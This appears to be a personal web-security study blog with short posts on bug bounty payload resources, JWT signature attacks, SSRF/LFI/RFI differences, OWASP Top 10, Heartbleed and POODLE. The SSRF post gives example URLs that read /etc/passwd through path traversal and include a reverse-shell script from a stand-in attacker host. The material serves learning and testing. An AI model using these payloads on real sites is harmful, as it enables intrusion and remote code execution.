Bug bounty Cheatsheet:
XSS
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xss.md
https://github.com/ismailtasdelen/xss-payload-list
SQLi
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/sqli.md
SSRF
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/ssrf.md
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
CRLF
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CRLF%20Injection
CSV-Injection
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/csv-injection.md
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSV%20Injection
Command Injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
Directory Traversal
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal
LFI
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/lfi.md
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
XXE
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xxe.md
Open-Redirect
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/open-redirect.md
RCE
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/rce.md
Crypto
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crypto.md
Template Injection
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/template-injection.md
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
XSLT
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xslt.md
Content Injection
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/content-injection.md
LDAP Injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection
NoSQL Injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
CSRF Injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSRF%20Injection
GraphQL Injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection
IDOR
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Direct%20Object%20References
ISCM
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Source%20Code%20Management
LaTex Injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LaTeX%20Injection
OAuth
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/OAuth
XPATH Injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection
Bypass Upload Tricky
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files
JSON web tokens (JWTs) are a standardized format for sending cryptographically signed JSON data between systems
JWT Tokens includes 3 parts, and they are seperated by dot Header + Paylod + Signature:
eyJraWQiOiI5MTM2ZGRiMy1jYjBhLTRhMTktYTA3ZS1lYWRmNWE0NGM4YjUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTY0ODAzNzE2NCwibmFtZSI6IkNhcmxvcyBNb250b3lhIiwic3ViIjoiY2FybG9zIiwicm9sZSI6ImJsb2dfYXV0aG9yIiwiZW1haWwiOiJjYXJsb3NAY2FybG9zLW1vbnRveWEubmV0IiwiaWF0IjoxNTE2MjM5MDIyfQ.SYZBPIBg2CRjXAJ8vCER0LA_ENjII1JakvNQoP-Hw6GG1zfl4JyngsZReIfqRvIAEi5L4HV0q7_9qGhQZvy9ZdxEJbwTxRs_6Lb-fZTDpW6lKYNdMyjw45_alSCZ1fypsMWz_2mTpQzil0lOtps5Ei_z7mM7M8gCwe_AGpI53JxduQOaB5HkT5gVrv9cKu9CsW5MS6ZbqYXpGyOG5ehoxqm8DL5tFYaW3lB50ELxi0KsuTKEbD0t5BCl0aCR2MBJWAbN-xeLwEenaqBiwPVvKixYleeDQiBEIylFdNNIMviKRgXiYuAvMziVPbwSgkZVHeEdF5MQP1Oe2Spac-6IfA- Header and Paylod part are just Base 64 - url encoded JSON objects
- The header contains metadata about the token itself, while the payload contains the actual data/ information.
- The server that issues the token typically generates the signature by hashing the header and payload.
- This mechanism provides a way for servers to verify that none of the data within the token has been tampered with since it was issued:
- As the signature is directly derived from the rest of the token, changing a single byte of the header or payload results in a mismatched signature.
- Without knowing the server's secret signing key, it shouldn't be possible to generate the correct signature for a given header or payload.
JWT vs JWS vs JWE
- The JWT spec is extended by both the JSON Web Signature (JWS) and JSON Web Encryption (JWE)
- When people use the term "JWT", they almost always mean a JWS token.
- JWEs actual contents of the token are encrypted rather than just encoded.
Exploiting flawed JWT signature verification
- Accepting arbitrary signatures
- JWT libraries typically provide one method for verifying tokens and another that just decodes them. For example, the Node.js library jsonwebtoken has verify() and decode()
- Occasionally, developers confuse these two methods and only pass incoming tokens to the decode() method.
- This effectively means that the application doesn't verify the signature at all.
- Accepting tokens with no signature
- the JWT header contains an alg parameter. This tells the server which algorithm was used to sign the token and, therefore, which algorithm it needs to use when verifying the signature.
- This is inherently flawed because the server has no option but to implicitly trust user-controllable input. In other words, an attacker can directly influence how the server checks whether the token is trustworthy.
- JWTs can be signed using a range of different algorithms, but can also be left unsigned. In this case, the alg parameter is set to none, which indicates a so-called "unsecured JWT".
- Brute-forcing secret keys using hashcat
- You just need a valid, signed JWT from the target server and a wordlist of well-known secrets. You can then run the hashcat command, passing in the JWT and wordlist as arguments
- Hashcat signs the header and payload from the JWT using each secret in the wordlist, then compares the resulting signature with the original one from the server. If any of the signatures match, hashcat outputs the identified secret, along with various other details:
- Injecting self-signed JWTs via the jwk (JSON Web Key) ,jku (JSON Web Key Set URL), kid (Key ID) parameters
- jwk (JSON Web Key) - Provides an embedded JSON object representing the key.
- jku (JSON Web Key Set URL) - Provides a URL from which servers can fetch a set of keys containing the correct key.
- kid (Key ID) - Provides an ID that servers can use to identify the correct key in cases where there are multiple keys to choose from. Depending on the format of the key, this may have a matching kid parameter.
These user-controllable parameters each tell the recipient server which key to use when verifying the signature.
Reference link: https://portswigger.net/web-security/jwt
JWT Tokens Attacks
Vamsi Sukla
February 02, 2023
Vamsi Sukla
February 02, 2023
SSRF:
SSRF forces server to perform actions. but doesnt mean to execute any code.
It helps to describe the beaviour of the server making request to attacker's domain.
SSRF vs RFI:
RFI is one potential consequence of SSRF. We can use SSRF to check if RFI is possible.
RFI uses SSRF, but not all SSRF are RFI.
SSRf vs LFI:
SSRF can be used as LFI to scan internal resources that sit behind the firewall.
LFI vs RFI:
hxxp://vulnerablesite.com/read_page.php?file=../../../../etc/passwd
hxxp://vulnerablesite.com/read_page.php?file=hxxp://hax.com/reverse-shell.php
LFI vs path traversal:
Path traversal is rather passive attack, allowing access to files that is not meant to be accessed.
In LFI, file is included into code that webserver executes before rendering the page.
LFI/RFI leading to RCE:
In LFI, RCE code to be injected into log files and the file is called via http request, to execute.
hxxp://vulnerablesite.com/readpage?file=../../../../logs/reverse-shell
In RFI, RCE code should be called from external server and get executed.
hxxp://vulnerablesite.com/read_page.php?file=hxxp://hax.com/reverse-shell.php
SSRF forces server to perform actions. but doesnt mean to execute any code.
It helps to describe the beaviour of the server making request to attacker's domain.
SSRF vs RFI:
RFI is one potential consequence of SSRF. We can use SSRF to check if RFI is possible.
RFI uses SSRF, but not all SSRF are RFI.
SSRf vs LFI:
SSRF can be used as LFI to scan internal resources that sit behind the firewall.
LFI vs RFI:
hxxp://vulnerablesite.com/read_page.php?file=../../../../etc/passwd
hxxp://vulnerablesite.com/read_page.php?file=hxxp://hax.com/reverse-shell.php
LFI vs path traversal:
Path traversal is rather passive attack, allowing access to files that is not meant to be accessed.
In LFI, file is included into code that webserver executes before rendering the page.
LFI/RFI leading to RCE:
In LFI, RCE code to be injected into log files and the file is called via http request, to execute.
hxxp://vulnerablesite.com/readpage?file=../../../../logs/reverse-shell
In RFI, RCE code should be called from external server and get executed.
hxxp://vulnerablesite.com/read_page.php?file=hxxp://hax.com/reverse-shell.php
SSRF vs LFI vs RFI vs Path traversal
Vamsi Sukla
December 30, 2022
Vamsi Sukla
December 30, 2022
- A01 Broken Access Control:
- Privilege escalations
- CORS misconfiguration allaowing APi access from untrusted origins
- Accessing restricted methods like PUT, DELETE
- Force browsing authenticated pages without valid credentials
- Preventive steps:
- Deny by Default
- Rate limit APIs,
- Session identifier should be invalidated
- A02 Cryptographic Failures - Sensitive Data Exposure(2017) : Focus on Cryptographic failures which often leads to sensitive data exposures
- Plain text data Transmission
- Deprecated Hash fuinctions in use line MD5, SHA1
- Security headers missing in reuqest and response
- Server certicated properly and trust chain properly validated?>
- Preventive measures:
- Encrypt data at rest
- Use authenticated encryption
- A03 Injection
- A04 Insecure Design
- A05 Security Misconfiguration
- A06 Vulnerable and Outdated Components
- A07 Identification and Authentication Failures
- A08 Software and Data Integrity Failures
- A09 Security Logging and Monitoring Failure
- A10 Server Side Request Forgery (SSRF)
OWASP Top 10 - 2021
Vamsi Sukla
December 30, 2022
Vamsi Sukla
December 30, 2022
Heart bleed is an issue with OpenSSL (Encryption software that helps to make secure communication on web). It is associated with servers. So, end user wont be able to resolve it
Issue : SSL standard includes heartbeat option to send a shaort message to end computer to check if the system in online.
Attacker can send malicious heartbeat message, making end computer send sentive data (like sharing contents in RAM).
If server private key is captured, attacker can sniff all data being send to server
Issue : SSL standard includes heartbeat option to send a shaort message to end computer to check if the system in online.
Attacker can send malicious heartbeat message, making end computer send sentive data (like sharing contents in RAM).
If server private key is captured, attacker can sniff all data being send to server
Issue with OpenSSL - The openssl developers made one critical error when implementing heartbeat messages. They fully trusted the length sent in the request
What information can you get with a Heartbleed attack?
The Heartbleed attack works by tricking servers into leaking information stored in their memory. So any information handled by web servers is potentially vulnerable.
HeartBleed Attack
Vamsi Sukla
December 30, 2022
Vamsi Sukla
December 30, 2022
POODLE stands for “Padding Oracle On Downgraded Legacy Encryption”
Steps involved in attack:- Downgrade TLS connection to SSLv3: This can be done by repeatedly dropping the session and eventually client will try with lower SSL version.
- If cipher suite users RC4 or BLock Cipher, attacker can get encryted text and convert them to plain text later
TLS V1.3 usere only one round trip, instead of two as in TLS v1.2.
TLS V2 supports some old cryptographic algorithms, which is dropped in TLS V3
references: https://www.cloudflare.com/learning/ssl/why-use-tls-1.3/
TLS verions and Poodle Attack
Vamsi Sukla
December 30, 2022
Vamsi Sukla
December 30, 2022







